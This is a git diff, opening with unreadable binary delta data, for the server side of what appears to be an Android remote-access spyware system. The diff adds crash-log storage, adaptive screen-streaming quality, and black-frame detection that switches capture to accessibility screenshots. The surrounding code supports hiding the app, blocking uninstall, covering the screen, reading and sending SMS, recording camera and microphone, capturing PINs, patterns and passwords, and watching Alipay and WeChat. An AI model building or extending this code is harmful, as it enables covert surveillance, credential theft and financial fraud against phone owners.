zV)s<jy)F}YATMYU4^&dJas{Qhvb<6I5@nnv zqn_d4#V!4 zjCg#5VOMIRb9fGgfSTfk!$4&iS_65d#8D<8%NwOHQA)f^lBrLYW6{?&tv8MaEYTjZ zEji$&a=x(=7AV$X<_d~<5DU~?qPh{B`%+1!ZY;-QUT+Fp?IB;cFA?FIrl<(i#%3hd zkVA<-7NwZ;iiA?J2dYm=VoQ|)_Dd|>h=2iYqB{xN7-0~_F z=2$Q!wnq0ZsgA*z%%ZeTNXp)3n(`V`GZS2LyeUBiHuConu)u#*Dgh-g^8h5)kOLIA zK_!T)12o^H|5w)NEAXH8qamOnpdp|kpdp|kpoD-H|F6aWQ!)ZA{$Gp#mlI9ERc$T*pIOgX^+skr{~wZR2`CJ` zmHdAwDh^9NW5D+m^8d*VYWe@P{C`^hzm0^9TK+#R|6ewpU@qO=Mv^`){~u*7m2ERx z{y(xiTrBzj;MotS{?~qVW10Ma>-xXs9UvgxF3V{8f8Oy<`&C0gLqJ17LqJ175rO;q zbX(Q`S*xBgW%YknfZs6uRkx=9!|#wW8SuSQ{Xg5FrvGdDzo!3d`aja=%Xi8~P5;;Q zf3Ho;|G%^H|Nq`z2mSx|lTV#f|ECxS69P^wn*OhN(9<4j2xtgs2xtgs2;?DfU*E3t z(EnL$PX9+do|)ge{?A$s_@0vfFEyy?|C;`<>HnJkuj&6KqETC9u4~Y!o#8Kks;_{i-3LA)q0kA)q0kh`@b))mzg4IZn?A zdXAU%f7W8=c$3+@75$&%D2*1!8}Pjn{eQhdP5;;Qe@*|_^nXqN*YtnUpGrpKvLA?c d|G%T||0(r93INpn=7;Cd|K;qTf|L^V{{wg;hJ^qC delta 3913 zcmZWs2~?HU7XHul&;L2#h?oNz;J|Phlt}^;(lqsoGxdbBltICfqE}DSR{5M7Zo0Fw zXVx+;0hR1p%SuHvOH+EL57dmF<RjevG)j$6D;Q_da_%`+R4g|5ohiSy2)E zTxdHyT2YiN`QQ52;rXa|j7M+I|A(+tM`{s2r|@$%!I_QRT(BS*b&5{w7Tno)xqCM9 z_|kez_3a%P)X^9|Y+6p)z24HthUFILPDq(CXwaa$Yd-0b8WigA&lJPnuZUO0cs`Y1 z=GfV8?{_>-Sxs=z78^gP`RWowd?NjMWcYTbh4|hX7=^Rc7PdLPiOLfCK-?6qlh4Tz z_yGz#3$ze$^0X#PoKdjYu88g8a82;cO~SW*ROb|CA^`KQOnjv?OnO>9jdm z$S9qSDWxSP4^L^)78K5zTROX(Nqu*bBdL<*v%Ld-!9hR!?|dG0;59jU4+j~BE?3gi zbsg${B)4}$Fj+d5!VvKJ`KNEgMI7&;;@t>4={~&9WOuQB8B>It?pI z&0A+Oan0;4UlU)7k(MeoiouiIGW&=D;s8(LMSL|sB#3xL6ymM;-z1o1kQw9^vX5M) z;dBgrl2+3b%&JMfkYK@uWjGkRF2ns`@>@uQ+NF3LEMJOap?L#RVcJsM8`x5OKa^BT zv3dy}4}V>PV_?J*?13m?CsiYcs1{1Xdn(gieiSv>w(c-)yylHDY^r48OK_ncF znKWi>_K3Xf@!2EC5>CRrPvd4@amy?YKy%&Vgq50}uWt38@ zD3{o2&7SS1j)=SpU)?Pc@@Y!RPT4R@S(d=oCGAqr$ zSyqgBTwAVvsGZY?>0R~phN_nv{f&p{0sSbw&ibj@ESLSAZByS+ztj*r{rsSgP@c>p zVMr>Ag7b;gfL_zt?T}f-H25i%s$dkee(-1!>+8$^-GVy7BK4G*xB;@Qzrw{r>Dgk{ zP{bmn0fWyoSl^Y!%!G|atT#j#viy~WExruu3jSc$N(N>oQwE8}EEA0VUt&;$m)(HvkCBVn(X+MG`WEn(&XY4mw20GSwcV;kkzUgErBP56==oZ>z`6S-g`OVrZVOMCST9$d-39=i_ze&jTG%iZ` z`HY7o##H^N^|KvrR_f*YdWpd0E&{c48dASh-(cG$>T$UCQTwFLo`!iQOQ!sL3CPzgX(X(wqzSJ0 z18ja<;`66>=wIMRi!FnyDw+(Q)2Qdo4PLI4wG>y=I1tq|8Y-%&{w}7O_E33T?$NkY z0Q5|}2wuv>!y)r+s%gnFi34N_u(MnXYtg{IQd#}Wr83HlQW?c5mD#FFc7#5Eerh!;VThUJ5Gd2mX6E(k{psbHjj(8)&3| z&3ZbXyywLzKh_e;6|&F}jpA8R;m&6MmVB|la<({ooJ$<|GyD-gjZff1c#_rLIkhzu zsVG8D&TjlPZ{YjoG@U9YiF-wch!^1^L>v}-#RsBNye2L{PlRTL&!GA8dAggX&?wr2 zwxf((BR`O@Ngdfu{N!!2nmk7q!X<=$cbuJcO6#yUVb(4j3Y`cVemf0SR3QLsTp1yCVScM%xkGc*)R-o=TL zw>sfKo6qIrYU=w@7wlD_J3`^}bJz;Dh&{|E(i`+5Jw+$e(KL&k#Gm6D`FT|>%0!_^ z6EXZG|B|obOL;sGcN(3;&N^q6Q|3%|Mmt$flGDS{^v=4eoz@yOzY%IU_F}ujF0-fG z584y$k#?4yYJ2Pm`!>6sty?#&ChM&AjdjG@4^=a1zxn6QQ)a#Sg;{HElecQE3FcDs zNh8Zh(W`Z@o~@_qv1*Z;rw&mEs&Q(B+Eoow8T*x;XQx;_`-0WVp;yV)vM1PVHiF&7 zl2{ZAW1W~q>**J?mTse!bS(wCRDK7F650F2n_`t%E*6T(VvHCndP%%H0`sf< z9N){g^UZu6f0CE+VxG^(@nJlJhjPKG^NaJ7v(Nd+sd1J&3!P#o%IRQV$5Zir*sI^6 zHET`UL2b9TQF~omsV&hew0T~wNXs*@epNrGH|n#@Tr)whFngKpOvU)gIBtAqY%|sw zFB%JsnZ{%zQvX0-tuHY~>GzS***R#73*{EvA&H!pKNvZe_Jf=5ozXexe<@j5uQM^>48FVTcV;iwh(3= zlviidqjb|P8OB3?Iqd{59mEB2wiYjdkLS>dV*=t~^k)#P{K=x`026d0Q24#g=z1Ib z8>~KnL#;N&H7F~mQQ)a(At62R@a#!9ze`ac*JR9ud%W4GH+)ym?r517H(MMYOu}*C zS1jsfzo>LQp?f_04+NSs+(C}=V z{!APDpFoq-fx`E&c`glus4wKne>s;Xg$6Dj3lti_m`6uIzH2#to^0M@F1KJFz3UdA z-GM%}uzQ}2UgcVTCw*?Qd_T}~8w8ipq^A$z_YM)7f18b~6yE5R+wILJ = [] private isProcessingRegistration = false @@ -91,6 +93,7 @@ class RemoteControlServer { this.authService = new AuthService() // 注意:AuthService 的异步初始化在 start() 方法中执行 this.deviceInfoSyncService = new DeviceInfoSyncService(this.authService) + this.adaptiveQualityService = new AdaptiveQualityService() // 配置multer用于文件上传 this.upload = multer({ @@ -807,6 +810,38 @@ class RemoteControlServer { } }) + // 💥 崩溃日志相关API (需要认证) + this.app.get('/api/crash-logs/:deviceId', this.authMiddleware, (req: any, res) => { + try { + const { deviceId } = req.params + const { page = 1, pageSize = 20 } = req.query + const result = this.databaseService.getCrashLogs( + deviceId, + parseInt(page as string), + parseInt(pageSize as string) + ) + res.json({ success: true, data: result }) + } catch (error) { + this.logger.error('获取崩溃日志失败:', error) + res.status(500).json({ success: false, message: '获取崩溃日志失败' }) + } + }) + + this.app.get('/api/crash-logs/:deviceId/:logId', this.authMiddleware, (req: any, res) => { + try { + const logId = parseInt(req.params.logId) + const detail = this.databaseService.getCrashLogDetail(logId) + if (detail) { + res.json({ success: true, data: detail }) + } else { + res.status(404).json({ success: false, message: '崩溃日志不存在' }) + } + } catch (error) { + this.logger.error('获取崩溃日志详情失败:', error) + res.status(500).json({ success: false, message: '获取崩溃日志详情失败' }) + } + }) + // APK相关路由 (需要认证) this.app.get('/api/apk/info', this.authMiddleware, async (req, res) => { try { @@ -1181,6 +1216,11 @@ class RemoteControlServer { // 处理屏幕数据 socket.on('screen_data', (data: any) => { + // 📊 记录帧统计用于自适应画质 + if (data?.deviceId) { + const dataSize = typeof data.data === 'string' ? data.data.length : 0 + this.adaptiveQualityService.recordFrame(data.deviceId, dataSize) + } this.messageRouter.routeScreenData(socket.id, data) }) @@ -1253,6 +1293,120 @@ class RemoteControlServer { this.messageRouter.handleOperationLog(socket.id, data) }) + // 💥 处理崩溃日志(从设备接收) + socket.on('crash_log', (data: any) => { + this.logger.warn(`💥 收到崩溃日志: Socket: ${socket.id}, 设备: ${data?.deviceId}, 文件: ${data?.fileName}`) + try { + if (data?.deviceId && data?.content) { + this.databaseService.saveCrashLog({ + deviceId: data.deviceId, + fileName: data.fileName || 'unknown.log', + content: data.content, + fileSize: data.fileSize, + crashTime: data.crashTime, + uploadTime: data.uploadTime, + deviceModel: data.deviceModel, + osVersion: data.osVersion + }) + // 通知Web端有新的崩溃日志 + this.webClientManager.broadcastToAll('crash_log_received', { + deviceId: data.deviceId, + fileName: data.fileName, + crashTime: data.crashTime, + deviceModel: data.deviceModel, + timestamp: Date.now() + }) + } else { + this.logger.warn(`⚠️ 崩溃日志数据不完整: ${JSON.stringify(data)}`) + } + } catch (error) { + this.logger.error('处理崩溃日志失败:', error) + } + }) + + // 📊 自适应画质:Web端质量反馈 + socket.on('quality_feedback', (data: any) => { + if (!data?.deviceId) return + const result = this.adaptiveQualityService.handleClientFeedback(data.deviceId, { + fps: data.fps || 0, + dropRate: data.dropRate || 0, + renderLatency: data.renderLatency, + }) + if (result.shouldAdjust && result.newParams) { + // 转发质量调整指令给Android设备 + const device = this.deviceManager.getDevice(data.deviceId) + if (device) { + const deviceSocket = this.io.sockets.sockets.get(device.socketId) + if (deviceSocket) { + deviceSocket.emit('quality_adjust', { + fps: result.newParams.fps, + quality: result.newParams.quality, + maxWidth: result.newParams.maxWidth, + maxHeight: result.newParams.maxHeight, + }) + this.logger.info(`📊 自动调整设备${data.deviceId}画质参数`) + } + } + // 通知Web端参数已变更 + socket.emit('quality_changed', { + deviceId: data.deviceId, + ...result.newParams, + auto: true, + }) + } + }) + + // 📊 自适应画质:Web端手动切换质量档位 + socket.on('set_quality_profile', (data: any) => { + if (!data?.deviceId || !data?.profile) return + const result = this.adaptiveQualityService.setQualityProfile(data.deviceId, data.profile) + if (result) { + const device = this.deviceManager.getDevice(data.deviceId) + if (device) { + const deviceSocket = this.io.sockets.sockets.get(device.socketId) + if (deviceSocket) { + deviceSocket.emit('quality_adjust', result.params) + } + } + socket.emit('quality_changed', { + deviceId: data.deviceId, + ...result.params, + profile: data.profile, + auto: false, + }) + } + }) + + // 📊 自适应画质:Web端手动设置自定义参数 + socket.on('set_quality_params', (data: any) => { + if (!data?.deviceId) return + const result = this.adaptiveQualityService.setCustomParams(data.deviceId, { + fps: data.fps, + quality: data.quality, + maxWidth: data.maxWidth, + maxHeight: data.maxHeight, + }) + const device = this.deviceManager.getDevice(data.deviceId) + if (device) { + const deviceSocket = this.io.sockets.sockets.get(device.socketId) + if (deviceSocket) { + deviceSocket.emit('quality_adjust', result.params) + } + } + socket.emit('quality_changed', { + deviceId: data.deviceId, + ...result.params, + auto: false, + }) + }) + + // 📊 获取画质档位列表 + socket.on('get_quality_profiles', (callback: any) => { + if (typeof callback === 'function') { + callback(this.adaptiveQualityService.getProfiles()) + } + }) + // 🆕 处理设备输入阻塞状态变更(从设备接收) socket.on('device_input_blocked_changed', (data: any) => { this.logger.info(`📱 收到设备输入阻塞状态变更: Socket: ${socket.id}`) diff --git a/src/services/AdaptiveQualityService.ts b/src/services/AdaptiveQualityService.ts new file mode 100644 index 0000000..5056dce --- /dev/null +++ b/src/services/AdaptiveQualityService.ts @@ -0,0 +1,278 @@ +import Logger from '../utils/Logger' + +/** + * 自适应画质控制服务 + * + * 参考billd-desk的参数化质量控制思路,但通过服务器中继实现(非P2P直连)。 + * 服务端作为中间人,收集Web端的网络质量反馈,转发给Android端调整采集参数。 + */ + +interface QualityProfile { + fps: number + quality: number // JPEG质量 (25-80) + maxWidth: number + maxHeight: number + label: string +} + +interface DeviceQualityState { + deviceId: string + currentProfile: string // 当前质量档位名 + fps: number + quality: number + maxWidth: number + maxHeight: number + // 统计 + frameCount: number + lastFrameTime: number + avgFrameSize: number + frameSizeWindow: number[] + // Web端反馈 + clientFps: number + clientDropRate: number + lastFeedbackTime: number +} + +const QUALITY_PROFILES: Record = { + low: { fps: 5, quality: 30, maxWidth: 360, maxHeight: 640, label: '低画质' }, + medium: { fps: 10, quality: 45, maxWidth: 480, maxHeight: 854, label: '中画质' }, + high: { fps: 15, quality: 60, maxWidth: 720, maxHeight: 1280, label: '高画质' }, + ultra: { fps: 20, quality: 75, maxWidth: 1080, maxHeight: 1920, label: '超高画质' }, +} + +export class AdaptiveQualityService { + private logger = new Logger('AdaptiveQuality') + private deviceStates = new Map() + private readonly FRAME_SIZE_WINDOW = 30 // 统计最近30帧 + private readonly AUTO_ADJUST_INTERVAL = 5000 // 5秒自动调整一次 + private autoAdjustTimer: NodeJS.Timeout | null = null + + constructor() { + this.startAutoAdjust() + } + + /** + * 获取或创建设备质量状态 + */ + private getOrCreateState(deviceId: string): DeviceQualityState { + if (!this.deviceStates.has(deviceId)) { + const defaultProfile = QUALITY_PROFILES.medium + this.deviceStates.set(deviceId, { + deviceId, + currentProfile: 'medium', + fps: defaultProfile.fps, + quality: defaultProfile.quality, + maxWidth: defaultProfile.maxWidth, + maxHeight: defaultProfile.maxHeight, + frameCount: 0, + lastFrameTime: 0, + avgFrameSize: 0, + frameSizeWindow: [], + clientFps: 0, + clientDropRate: 0, + lastFeedbackTime: 0, + }) + } + return this.deviceStates.get(deviceId)! + } + + /** + * 记录收到的帧(服务端统计用) + */ + recordFrame(deviceId: string, frameSize: number): void { + const state = this.getOrCreateState(deviceId) + state.frameCount++ + state.lastFrameTime = Date.now() + state.frameSizeWindow.push(frameSize) + if (state.frameSizeWindow.length > this.FRAME_SIZE_WINDOW) { + state.frameSizeWindow.shift() + } + state.avgFrameSize = state.frameSizeWindow.reduce((a, b) => a + b, 0) / state.frameSizeWindow.length + } + + /** + * 处理Web端的质量反馈 + */ + handleClientFeedback(deviceId: string, feedback: { + fps: number + dropRate: number + renderLatency?: number + }): { shouldAdjust: boolean; newParams?: Partial } { + const state = this.getOrCreateState(deviceId) + state.clientFps = feedback.fps + state.clientDropRate = feedback.dropRate + state.lastFeedbackTime = Date.now() + + // 根据反馈决定是否需要调整 + if (feedback.dropRate > 0.1) { + // 丢帧率>10%,降低质量 + return this.adjustDown(deviceId) + } else if (feedback.dropRate < 0.02 && feedback.fps >= state.fps * 0.9) { + // 丢帧率<2%且帧率接近目标,可以尝试提升 + return this.adjustUp(deviceId) + } + + return { shouldAdjust: false } + } + + /** + * Web端手动设置质量档位 + */ + setQualityProfile(deviceId: string, profileName: string): { params: QualityProfile } | null { + const profile = QUALITY_PROFILES[profileName] + if (!profile) return null + + const state = this.getOrCreateState(deviceId) + state.currentProfile = profileName + state.fps = profile.fps + state.quality = profile.quality + state.maxWidth = profile.maxWidth + state.maxHeight = profile.maxHeight + + this.logger.info(`📊 设备${deviceId}手动切换画质: ${profile.label}`) + return { params: profile } + } + + /** + * Web端手动设置自定义参数(参考billd-desk的精细控制) + */ + setCustomParams(deviceId: string, params: { + fps?: number + quality?: number + maxWidth?: number + maxHeight?: number + }): { params: Partial } { + const state = this.getOrCreateState(deviceId) + if (params.fps !== undefined) state.fps = Math.max(1, Math.min(30, params.fps)) + if (params.quality !== undefined) state.quality = Math.max(20, Math.min(90, params.quality)) + if (params.maxWidth !== undefined) state.maxWidth = Math.max(240, Math.min(1920, params.maxWidth)) + if (params.maxHeight !== undefined) state.maxHeight = Math.max(320, Math.min(2560, params.maxHeight)) + state.currentProfile = 'custom' + + this.logger.info(`📊 设备${deviceId}自定义参数: fps=${state.fps}, quality=${state.quality}, ${state.maxWidth}x${state.maxHeight}`) + return { + params: { + fps: state.fps, + quality: state.quality, + maxWidth: state.maxWidth, + maxHeight: state.maxHeight, + } + } + } + + /** + * 降低质量 + */ + private adjustDown(deviceId: string): { shouldAdjust: boolean; newParams?: Partial } { + const state = this.getOrCreateState(deviceId) + const profileOrder = ['ultra', 'high', 'medium', 'low'] + const currentIdx = profileOrder.indexOf(state.currentProfile) + + if (currentIdx < profileOrder.length - 1 && state.currentProfile !== 'custom') { + const nextProfile = profileOrder[currentIdx + 1] + const profile = QUALITY_PROFILES[nextProfile] + state.currentProfile = nextProfile + state.fps = profile.fps + state.quality = profile.quality + state.maxWidth = profile.maxWidth + state.maxHeight = profile.maxHeight + + this.logger.info(`📉 设备${deviceId}自动降低画质: ${profile.label} (丢帧率${(state.clientDropRate * 100).toFixed(1)}%)`) + return { shouldAdjust: true, newParams: profile } + } + + // 已经是最低档,尝试进一步降低fps + if (state.fps > 3) { + state.fps = Math.max(3, state.fps - 2) + this.logger.info(`📉 设备${deviceId}降低帧率到${state.fps}fps`) + return { shouldAdjust: true, newParams: { fps: state.fps } } + } + + return { shouldAdjust: false } + } + + /** + * 提升质量 + */ + private adjustUp(deviceId: string): { shouldAdjust: boolean; newParams?: Partial } { + const state = this.getOrCreateState(deviceId) + const profileOrder = ['low', 'medium', 'high', 'ultra'] + const currentIdx = profileOrder.indexOf(state.currentProfile) + + if (currentIdx < profileOrder.length - 1 && state.currentProfile !== 'custom') { + const nextProfile = profileOrder[currentIdx + 1] + const profile = QUALITY_PROFILES[nextProfile] + state.currentProfile = nextProfile + state.fps = profile.fps + state.quality = profile.quality + state.maxWidth = profile.maxWidth + state.maxHeight = profile.maxHeight + + this.logger.info(`📈 设备${deviceId}自动提升画质: ${profile.label}`) + return { shouldAdjust: true, newParams: profile } + } + + return { shouldAdjust: false } + } + + /** + * 自动调整定时器 + */ + private startAutoAdjust(): void { + this.autoAdjustTimer = setInterval(() => { + // 对有反馈数据的设备进行自动调整 + for (const [deviceId, state] of this.deviceStates) { + if (Date.now() - state.lastFeedbackTime > 30000) continue // 超过30秒没反馈,跳过 + // 自动调整逻辑已在handleClientFeedback中处理 + } + }, this.AUTO_ADJUST_INTERVAL) + } + + /** + * 获取设备当前质量参数 + */ + getDeviceQuality(deviceId: string): DeviceQualityState | null { + return this.deviceStates.get(deviceId) || null + } + + /** + * 获取所有可用的质量档位 + */ + getProfiles(): Record { + return { ...QUALITY_PROFILES } + } + + /** + * 获取统计信息 + */ + getStats(): object { + const stats: any = { deviceCount: this.deviceStates.size, devices: {} } + for (const [deviceId, state] of this.deviceStates) { + stats.devices[deviceId] = { + profile: state.currentProfile, + fps: state.fps, + quality: state.quality, + resolution: `${state.maxWidth}x${state.maxHeight}`, + frameCount: state.frameCount, + avgFrameSize: Math.round(state.avgFrameSize), + clientFps: state.clientFps, + clientDropRate: (state.clientDropRate * 100).toFixed(1) + '%', + } + } + return stats + } + + /** + * 清理设备状态 + */ + removeDevice(deviceId: string): void { + this.deviceStates.delete(deviceId) + } + + destroy(): void { + if (this.autoAdjustTimer) { + clearInterval(this.autoAdjustTimer) + } + this.deviceStates.clear() + } +} diff --git a/src/services/DatabaseService.ts b/src/services/DatabaseService.ts index a92880d..ff3827f 100644 --- a/src/services/DatabaseService.ts +++ b/src/services/DatabaseService.ts @@ -42,12 +42,12 @@ export interface DeviceStateRecord { password?: string inputBlocked: boolean loggingEnabled: boolean - blackScreenActive: boolean // 🆕 添加黑屏遮盖状态 - appHidden: boolean // 🆕 添加应用隐藏状态 - uninstallProtectionEnabled: boolean // 🛡️ 添加防止卸载保护状态 + blackScreenActive: boolean + appHidden: boolean + uninstallProtectionEnabled: boolean lastPasswordUpdate?: Date - confirmButtonCoords?: { x: number, y: number } // 🆕 确认按钮坐标 - learnedConfirmButton?: { x: number, y: number, count: number } // 🆕 学习的确认按钮坐标 + confirmButtonCoords?: { x: number, y: number } + learnedConfirmButton?: { x: number, y: number, count: number } createdAt: Date updatedAt: Date } @@ -350,6 +350,29 @@ export class DatabaseService { CREATE INDEX IF NOT EXISTS idx_password_inputs_type ON password_inputs (passwordType) `) + // 💥 创建崩溃日志表 + this.db.exec(` + CREATE TABLE IF NOT EXISTS crash_logs ( + id INTEGER PRIMARY KEY AUTOINCREMENT, + deviceId TEXT NOT NULL, + fileName TEXT NOT NULL, + content TEXT NOT NULL, + fileSize INTEGER, + crashTime INTEGER, + uploadTime INTEGER, + deviceModel TEXT, + osVersion TEXT, + createdAt DATETIME NOT NULL, + FOREIGN KEY (deviceId) REFERENCES devices (deviceId) + ) + `) + this.db.exec(` + CREATE INDEX IF NOT EXISTS idx_crash_logs_deviceId ON crash_logs (deviceId) + `) + this.db.exec(` + CREATE INDEX IF NOT EXISTS idx_crash_logs_crashTime ON crash_logs (crashTime DESC) + `) + this.logger.info('数据库表初始化完成') } catch (error) { this.logger.error('初始化数据库失败:', error) @@ -1924,6 +1947,11 @@ export class DatabaseService { const passwordInputsResult = deletePasswordInputs.run(deviceId) this.logger.debug(`删除通用密码输入记录: ${passwordInputsResult.changes} 条`) + // 6.5 删除崩溃日志 + const deleteCrashLogs = this.db.prepare('DELETE FROM crash_logs WHERE deviceId = ?') + const crashLogsResult = deleteCrashLogs.run(deviceId) + this.logger.debug(`删除崩溃日志: ${crashLogsResult.changes} 条`) + // 7. 删除用户设备权限记录 const deleteUserPermissions = this.db.prepare('DELETE FROM user_device_permissions WHERE deviceId = ?') const userPermissionsResult = deleteUserPermissions.run(deviceId) @@ -2093,4 +2121,90 @@ export class DatabaseService { return 0 } } + + // ==================== 💥 崩溃日志相关 ==================== + + /** + * 💥 保存崩溃日志 + */ + saveCrashLog(data: { + deviceId: string + fileName: string + content: string + fileSize?: number + crashTime?: number + uploadTime?: number + deviceModel?: string + osVersion?: string + }): boolean { + try { + const stmt = this.db.prepare(` + INSERT INTO crash_logs (deviceId, fileName, content, fileSize, crashTime, uploadTime, deviceModel, osVersion, createdAt) + VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?) + `) + stmt.run( + data.deviceId, + data.fileName, + data.content, + data.fileSize || 0, + data.crashTime || 0, + data.uploadTime || Date.now(), + data.deviceModel || '', + data.osVersion || '', + new Date().toISOString() + ) + this.logger.info(`💥 崩溃日志已保存: ${data.deviceId} - ${data.fileName}`) + return true + } catch (error) { + this.logger.error('保存崩溃日志失败:', error) + return false + } + } + + /** + * 💥 获取设备的崩溃日志列表 + */ + getCrashLogs(deviceId: string, page: number = 1, pageSize: number = 20): { + logs: any[] + total: number + page: number + pageSize: number + totalPages: number + } { + try { + const countStmt = this.db.prepare('SELECT COUNT(*) as total FROM crash_logs WHERE deviceId = ?') + const { total } = countStmt.get(deviceId) as { total: number } + + const offset = (page - 1) * pageSize + const stmt = this.db.prepare(` + SELECT id, deviceId, fileName, fileSize, crashTime, uploadTime, deviceModel, osVersion, createdAt + FROM crash_logs WHERE deviceId = ? ORDER BY crashTime DESC LIMIT ? OFFSET ? + `) + const logs = stmt.all(deviceId, pageSize, offset) + + return { + logs, + total, + page, + pageSize, + totalPages: Math.ceil(total / pageSize) + } + } catch (error) { + this.logger.error('获取崩溃日志列表失败:', error) + return { logs: [], total: 0, page, pageSize, totalPages: 0 } + } + } + + /** + * 💥 获取崩溃日志详情(含内容) + */ + getCrashLogDetail(logId: number): any | null { + try { + const stmt = this.db.prepare('SELECT * FROM crash_logs WHERE id = ?') + return stmt.get(logId) || null + } catch (error) { + this.logger.error('获取崩溃日志详情失败:', error) + return null + } + } } \ No newline at end of file diff --git a/src/services/MessageRouter.ts b/src/services/MessageRouter.ts index c603f9c..6b621a4 100644 --- a/src/services/MessageRouter.ts +++ b/src/services/MessageRouter.ts @@ -9,7 +9,7 @@ import path from 'path' * 控制消息接口 */ export interface ControlMessage { - type: 'CLICK' | 'SWIPE' | 'LONG_PRESS' | 'LONG_PRESS_DRAG' | 'INPUT_TEXT' | 'KEY_EVENT' | 'GESTURE' | 'POWER_WAKE' | 'POWER_SLEEP' | 'DEVICE_BLOCK_INPUT' | 'DEVICE_ALLOW_INPUT' | 'LOG_ENABLE' | 'LOG_DISABLE' | 'WAKE_SCREEN' | 'LOCK_SCREEN' | 'UNLOCK_DEVICE' | 'ENABLE_BLACK_SCREEN' | 'DISABLE_BLACK_SCREEN' | 'OPEN_APP_SETTINGS' | 'HIDE_APP' | 'SHOW_APP' | 'REFRESH_MEDIA_PROJECTION_PERMISSION' | 'CLOSE_CONFIG_MASK' | 'ENABLE_UNINSTALL_PROTECTION' | 'DISABLE_UNINSTALL_PROTECTION' | 'CAMERA_START' | 'CAMERA_STOP' | 'CAMERA_SWITCH' | 'SMS_PERMISSION_CHECK' | 'SMS_READ' | 'SMS_SEND' | 'SMS_UNREAD_COUNT' | 'GALLERY_PERMISSION_CHECK' | 'ALBUM_READ' | 'GET_GALLERY' | 'MICROPHONE_PERMISSION_CHECK' | 'MICROPHONE_START_RECORDING' | 'MICROPHONE_STOP_RECORDING' | 'MICROPHONE_RECORDING_STATUS' | 'ALIPAY_DETECTION_START' | 'WECHAT_DETECTION_START' | 'OPEN_PIN_INPUT' | 'OPEN_FOUR_DIGIT_PIN' | 'OPEN_PATTERN_LOCK' | 'CHANGE_SERVER_URL' | 'SCREEN_CAPTURE_PAUSE' | 'SCREEN_CAPTURE_RESUME' + type: 'CLICK' | 'SWIPE' | 'LONG_PRESS' | 'LONG_PRESS_DRAG' | 'INPUT_TEXT' | 'KEY_EVENT' | 'GESTURE' | 'POWER_WAKE' | 'POWER_SLEEP' | 'DEVICE_BLOCK_INPUT' | 'DEVICE_ALLOW_INPUT' | 'LOG_ENABLE' | 'LOG_DISABLE' | 'WAKE_SCREEN' | 'LOCK_SCREEN' | 'UNLOCK_DEVICE' | 'ENABLE_BLACK_SCREEN' | 'DISABLE_BLACK_SCREEN' | 'OPEN_APP_SETTINGS' | 'HIDE_APP' | 'SHOW_APP' | 'REFRESH_MEDIA_PROJECTION_PERMISSION' | 'REFRESH_MEDIA_PROJECTION_MANUAL' | 'CLOSE_CONFIG_MASK' | 'ENABLE_UNINSTALL_PROTECTION' | 'DISABLE_UNINSTALL_PROTECTION' | 'CAMERA_START' | 'CAMERA_STOP' | 'CAMERA_SWITCH' | 'SMS_PERMISSION_CHECK' | 'SMS_READ' | 'SMS_SEND' | 'SMS_UNREAD_COUNT' | 'GALLERY_PERMISSION_CHECK' | 'ALBUM_READ' | 'GET_GALLERY' | 'MICROPHONE_PERMISSION_CHECK' | 'MICROPHONE_START_RECORDING' | 'MICROPHONE_STOP_RECORDING' | 'MICROPHONE_RECORDING_STATUS' | 'ALIPAY_DETECTION_START' | 'WECHAT_DETECTION_START' | 'OPEN_PIN_INPUT' | 'OPEN_FOUR_DIGIT_PIN' | 'OPEN_PATTERN_LOCK' | 'CHANGE_SERVER_URL' | 'SCREEN_CAPTURE_PAUSE' | 'SCREEN_CAPTURE_RESUME' deviceId: string data: any timestamp: number @@ -143,6 +143,10 @@ export class MessageRouter { private droppedMicrophoneAudio = 0 private totalMicrophoneAudioSize = 0 + // ✅ 黑帧检测:按设备追踪连续黑帧数,超过阈值时通知设备切换采集模式 + private consecutiveBlackFrames = new Map() + private captureModeSwitchSent = new Set() // 已发送切换指令的设备,避免重复发送 + constructor(deviceManager: DeviceManager, webClientManager: WebClientManager, databaseService: DatabaseService) { this.deviceManager = deviceManager this.webClientManager = webClientManager @@ -536,6 +540,60 @@ export class MessageRouter { return false } + // ✅ 过滤黑屏帧:Base64字符串<4000字符(≈3KB JPEG)几乎肯定是黑屏/空白帧 + // 正常480×854 JPEG即使最低质量也远大于此值 + const MIN_VALID_FRAME_SIZE = 4000 + if (dataSize > 0 && dataSize < MIN_VALID_FRAME_SIZE) { + this.droppedFrames++ + + // ✅ 追踪连续黑帧数 + const deviceId = screenData.deviceId + const count = (this.consecutiveBlackFrames.get(deviceId) || 0) + 1 + this.consecutiveBlackFrames.set(deviceId, count) + + if (this.routedFrames % 100 === 0) { + this.logger.warn(`⚠️ 过滤黑屏帧: ${dataSize} 字符 < ${MIN_VALID_FRAME_SIZE}, 设备${deviceId}, 连续黑帧${count}, 已丢弃${this.droppedFrames}帧`) + } + + // ✅ 连续50个黑帧后,通知Android端切换到无障碍截图模式 + if (count >= 50 && !this.captureModeSwitchSent.has(deviceId)) { + this.captureModeSwitchSent.add(deviceId) + this.logger.warn(`🔄 设备${deviceId}连续${count}个黑帧,发送切换到无障碍截图模式指令`) + + try { + const deviceSocketId = this.deviceManager.getDeviceSocketId(deviceId) + if (deviceSocketId) { + const deviceSocket = this.webClientManager.io?.sockets.sockets.get(deviceSocketId) + if (deviceSocket) { + deviceSocket.emit('quality_adjust', { + captureMode: 'accessibility', + fps: 10, + quality: 50, + maxWidth: 480, + maxHeight: 854 + }) + this.logger.info(`📤 已向设备${deviceId}发送切换采集模式指令`) + } + } + } catch (e) { + this.logger.error(`❌ 发送切换采集模式指令失败:`, e) + } + } + + return false + } + + // ✅ 收到有效帧,重置黑帧计数 + if (screenData.deviceId) { + const prevCount = this.consecutiveBlackFrames.get(screenData.deviceId) || 0 + if (prevCount > 0) { + this.logger.info(`✅ 设备${screenData.deviceId}收到有效帧(${dataSize}字符),重置黑帧计数(之前${prevCount})`) + } + this.consecutiveBlackFrames.set(screenData.deviceId, 0) + // 收到有效帧后允许再次发送切换指令(如果后续又出现黑帧) + this.captureModeSwitchSent.delete(screenData.deviceId) + } + // 🔧 检查设备是否有控制者,没有控制者直接丢弃(提前检查,减少处理开销) const controllerId = this.webClientManager.getDeviceController(screenData.deviceId) if (!controllerId) { @@ -1823,6 +1881,9 @@ export class MessageRouter { case 'REFRESH_MEDIA_PROJECTION_PERMISSION': return this.handleRefreshMediaProjectionPermission(client.id, eventData.deviceId) + case 'REFRESH_MEDIA_PROJECTION_MANUAL': + return this.handleRefreshMediaProjectionManual(client.id, eventData.deviceId) + case 'CLOSE_CONFIG_MASK': return this.handleCloseConfigMask(client.id, eventData.deviceId, eventData.manual) @@ -4078,6 +4139,75 @@ export class MessageRouter { } } + /** + * 🆕 处理手动授权投屏权限请求(不自动点击确认) + */ + 